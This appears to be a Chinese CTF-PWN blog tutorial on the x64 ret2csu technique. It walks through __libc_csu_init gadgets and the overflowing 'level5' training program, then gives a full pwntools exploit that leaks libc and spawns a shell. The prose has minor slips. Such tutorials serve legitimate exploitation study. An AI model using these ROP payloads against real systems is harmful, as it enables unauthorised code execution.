美文网首页CTF-PWN
gadget_libc_csu_init

gadget_libc_csu_init

作者: Thriumph | 来源:发表于2019-04-03 11:53 被阅读264次

    原理:

    程序在编译的过程中通常会加入一些通用函数进行初始化操作,很多程序的源码不同,但初始化的过程是相同的,针对这些初始化函数,可以提取通用的gadgets使用。

    _libc_cus_init函数

    主要针对64位程序的,与32位的栈传参不同的是,64位函数中函数前6个参数是通过寄存器传递的,但很难找到每一个寄存器对应的gadgets。可以利用x64的_libc_csu_init中的gadgets,这个函数是用来对libc进行初始化操作的,而且一般程序都会调用libc函数,所以这个函数一定会存在。

    .text:00000000004005C0 ; void _libc_csu_init(void)
    .text:00000000004005C0                 public __libc_csu_init
    .text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16�o
    .text:00000000004005C0                 push    r15
    .text:00000000004005C2                 push    r14
    .text:00000000004005C4                 mov     r15d, edi
    .text:00000000004005C7                 push    r13
    .text:00000000004005C9                 push    r12
    .text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
    .text:00000000004005D2                 push    rbp
    .text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
    .text:00000000004005DA                 push    rbx
    .text:00000000004005DB                 mov     r14, rsi
    .text:00000000004005DE                 mov     r13, rdx
    .text:00000000004005E1                 sub     rbp, r12
    .text:00000000004005E4                 sub     rsp, 8
    .text:00000000004005E8                 sar     rbp, 3
    .text:00000000004005EC                 call    _init_proc
    .text:00000000004005F1                 test    rbp, rbp
    .text:00000000004005F4                 jz      short loc_400616
    .text:00000000004005F6                 xor     ebx, ebx
    .text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
    .text:0000000000400600
    .text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54�j
    .text:0000000000400600                 mov     rdx, r13
    .text:0000000000400603                 mov     rsi, r14
    .text:0000000000400606                 mov     edi, r15d
    .text:0000000000400609                 call    qword ptr [r12+rbx*8]
    .text:000000000040060D                 add     rbx, 1
    .text:0000000000400611                 cmp     rbx, rbp
    .text:0000000000400614                 jnz     short loc_400600
    .text:0000000000400616
    .text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34�j
    .text:0000000000400616                 add     rsp, 8
    .text:000000000040061A                 pop     rbx
    .text:000000000040061B                 pop     rbp
    .text:000000000040061C                 pop     r12
    .text:000000000040061E                 pop     r13
    .text:0000000000400620                 pop     r14
    .text:0000000000400622                 pop     r15
    .text:0000000000400624                 retn
    .text:0000000000400624 __libc_csu_init endp
    

    gadget1可以利用栈溢出构造栈上的数据从而控制rbx,rbp,r12,r13,r14,r15寄存器的数据。

    .text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54�j
    .text:0000000000400600                 mov     rdx, r13
    .text:0000000000400603                 mov     rsi, r14
    .text:0000000000400606                 mov     edi, r15d
    .text:0000000000400609                 call    qword ptr [r12+rbx*8]
    

    将r13的值赋给rdx,r12的值赋给r14,将r15的值赋给edi,然后调用call qword ptr [r12+rbx*8]通过控制r12和rbx的值来控制执行想要执行的函数。然后判断rbx+1是否与rbp相等,如果相等就继续执行,然后ret到想要继续执行的地址。

    例:蒸米的level5

    查看基本信息,开启了堆栈不可执行保护

    level.c
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    void vulnerable_function() 
    {
        char buf[128];
        read(STDIN_FILENO, buf, 512);
    }
    int main(int argc, char** argv) 
    {
        write(STDOUT_FILENO, "Hello, World\n", 13);
        vulnerable_function();
    }
    

    这个程序仅仅只有一个buffer overflow,也没有任何的辅助函数可以使用,所以我们要先想办法泄露内存信息,找到system()的值,然后再传递“/bin/sh”到.bss段, 最后调用system(“/bin/sh”)。因为原程序使用了write()和read()函数,我们可以通过write()去输出write.got的地址,从而计算出libc.so在内存中的地址。但问题在于write()的参数应该如何传递,因为x64下前6个参数不是保存在栈中,而是通过寄存器传值。我们使用ROPgadget并没有找到类似于pop rdi, ret,pop rsi, ret这样的gadgets。但是在x64下有一些万能的gadgets可以利用。用objdump -d ./level5观察一下__libc_csu_init()这个函数。一般来说,只要程序调用了libc.so,程序都会有这个函数用来对libc进行初始化操作。

    00000000004005c0 <__libc_csu_init>:
      4005c0:   41 57                   push   %r15
      4005c2:   41 56                   push   %r14
      4005c4:   41 89 ff                mov    %edi,%r15d
      4005c7:   41 55                   push   %r13
      4005c9:   41 54                   push   %r12
      4005cb:   4c 8d 25 3e 08 20 00    lea    0x20083e(%rip),%r12        # 600e10 <__frame_dummy_init_array_entry>
      4005d2:   55                      push   %rbp
      4005d3:   48 8d 2d 3e 08 20 00    lea    0x20083e(%rip),%rbp        # 600e18 <__init_array_end>
      4005da:   53                      push   %rbx
      4005db:   49 89 f6                mov    %rsi,%r14
      4005de:   49 89 d5                mov    %rdx,%r13
      4005e1:   4c 29 e5                sub    %r12,%rbp
      4005e4:   48 83 ec 08             sub    $0x8,%rsp
      4005e8:   48 c1 fd 03             sar    $0x3,%rbp
      4005ec:   e8 0f fe ff ff          callq  400400 <_init>
      4005f1:   48 85 ed                test   %rbp,%rbp
      4005f4:   74 20                   je     400616 <__libc_csu_init+0x56>
      4005f6:   31 db                   xor    %ebx,%ebx
      4005f8:   0f 1f 84 00 00 00 00    nopl   0x0(%rax,%rax,1)
      4005ff:   00 
      400600:   4c 89 ea                mov    %r13,%rdx
      400603:   4c 89 f6                mov    %r14,%rsi
      400606:   44 89 ff                mov    %r15d,%edi
      400609:   41 ff 14 dc             callq  *(%r12,%rbx,8)
      40060d:   48 83 c3 01             add    $0x1,%rbx
      400611:   48 39 eb                cmp    %rbp,%rbx
      400614:   75 ea                   jne    400600 <__libc_csu_init+0x40>
      400616:   48 83 c4 08             add    $0x8,%rsp
      40061a:   5b                      pop    %rbx
      40061b:   5d                      pop    %rbp
      40061c:   41 5c                   pop    %r12
      40061e:   41 5d                   pop    %r13
      400620:   41 5e                   pop    %r14
      400622:   41 5f                   pop    %r15
      400624:   c3                      retq
    

    先构造playload1,利用write()输出write的内存地址,gadget是call qword ptr[r12+rb*8],应该使用write.got的地址,再返回原程序中重复利用buffer overflow的漏洞,需要继续覆盖栈上的数据直到main()函数
    playload1

    #rdi=edi=r15, rsi=r14, rdx=r13
    #write(rdi=1,rsi=write_got,rdx=8)
    payload1 = "\x00"*136
                    #pop        junk      rbx      rbp         r12           r13         r14           r15          ret
    payload1 += p64(0x400616) + p64(0) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(0x400600)
    payload1 += "\x00"*56  #0x38
    payload1 += p64(main_addr)
    

    exp收到write()的内存地址后,可以计算出system()再内存中的地址,利用read()将system()的地址以及“/bin/sh”读入到bss.段内存中

    #rdi=edi=r15, rsi=r14, rdx=r13
    #read(rdi=0,rsi=bss_addr,rdx=16)
    payload2 = "\x00"*136
                    #pop        junk      rbx      rbp         r12           r13         r14           r15          ret
    payload2 += p64(0x400616) + p64(0) + p64(0) + p64(1) + p64(read_got) + p64(16) + p64(bss_addr) + p64(0) + p64(0x400600)
    payload2 += "\x00"*56
    payload2 += p64(main_addr)
    

    最后调用system()函数执行"/bin/sh",system()的地址保存早。bss段的首地址上,"/bin/sh"的地址存在.bss段首地址+8字节上
    playload3

    #rdi=edi=r15, rsi=r14, rdx=r13
    #system(rdi=bss_addr+8="/bin/sh\0")
    payload3 = "\x00"*136
                    #pop        junk      rbx      rbp         r12           r13         r14           r15          ret
    payload3 += p64(0x400616) + p64(0) + p64(0) + p64(1) +p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8) + p64(0x400600)
    payload3 += "\x00"*56
    payload3 += p64(main_addr)
    

    copy来的exp。。。

    #!/usr/bin/env python
    from pwn import *
    
    elf = ELF('level5')
    libc = ELF('libc.so.6')
    
    p = process('./level5')
    #p = remote('127.0.0.1',10001)
    
    write_got = elf.got['write']
    print "write_got= " + hex(write_got)
    
    read_got = elf.got['read']
    print "read_got= " + hex(read_got)
    
    main_addr = 0x400587
    
    system_off_addr = libc.symbols['write'] - libc.symbols['system']
    print "system_off_addr= " + hex(system_off_addr)
    
    #rdi=edi=r15, rsi=r14, rdx=r13
    #write(rdi=1,rsi=write_got,rdx=8)
    payload1 = "\x00"*136
                    #pop        junk      rbx      rbp         r12           r13         r14           r15          ret
    payload1 += p64(0x400616) + p64(0) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(0x400600)
    payload1 += "\x00"*56  #0x38
    payload1 += p64(main_addr)
    
    p.recvuntil("Hello, World\n")
    
    print "\n################seding payload1################\n"
    p.send(payload1)
    sleep(1)
    
    write_addr = u64(p.recv(8))
    print "write_addr= " + hex(write_addr)
    
    system_addr = write_addr - system_off_addr
    print "system_addr= " + hex(system_addr)
    
    bss_addr = 0x601040
    
    
    #rdi=edi=r15, rsi=r14, rdx=r13
    #read(rdi=0,rsi=bss_addr,rdx=16)
    payload2 = "\x00"*136
                    #pop        junk      rbx      rbp         r12           r13         r14           r15          ret
    payload2 += p64(0x400616) + p64(0) + p64(0) + p64(1) + p64(read_got) + p64(16) + p64(bss_addr) + p64(0) + p64(0x400600)
    payload2 += "\x00"*56
    payload2 += p64(main_addr)
    
    p.recvuntil("Hello, World\n")
    
    print "\n###############seding payload2################\n"
    p.send(payload2)
    sleep(1)
    
    p.send(p64(system_addr))
    p.send("/bin/sh\0")
    sleep(1)
    
    #rdi=edi=r15, rsi=r14, rdx=r13
    #system(rdi=bss_addr+8="/bin/sh\0")
    payload3 = "\x00"*136
                    #pop        junk      rbx      rbp         r12           r13         r14           r15          ret
    payload3 += p64(0x400616) + p64(0) + p64(0) + p64(1) +p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8) + p64(0x400600)
    payload3 += "\x00"*56
    payload3 += p64(main_addr)
    
    p.recvuntil("Hello, World\n")
    
    print "\n##############seding payload3###############\n"
    p.send(payload3)
    sleep(1)
    
    p.interactive()
    

    相关文章

      网友评论

        本文标题:gadget_libc_csu_init

        本文链接:https://www.haomeiwen.com/subject/kovvbqtx.html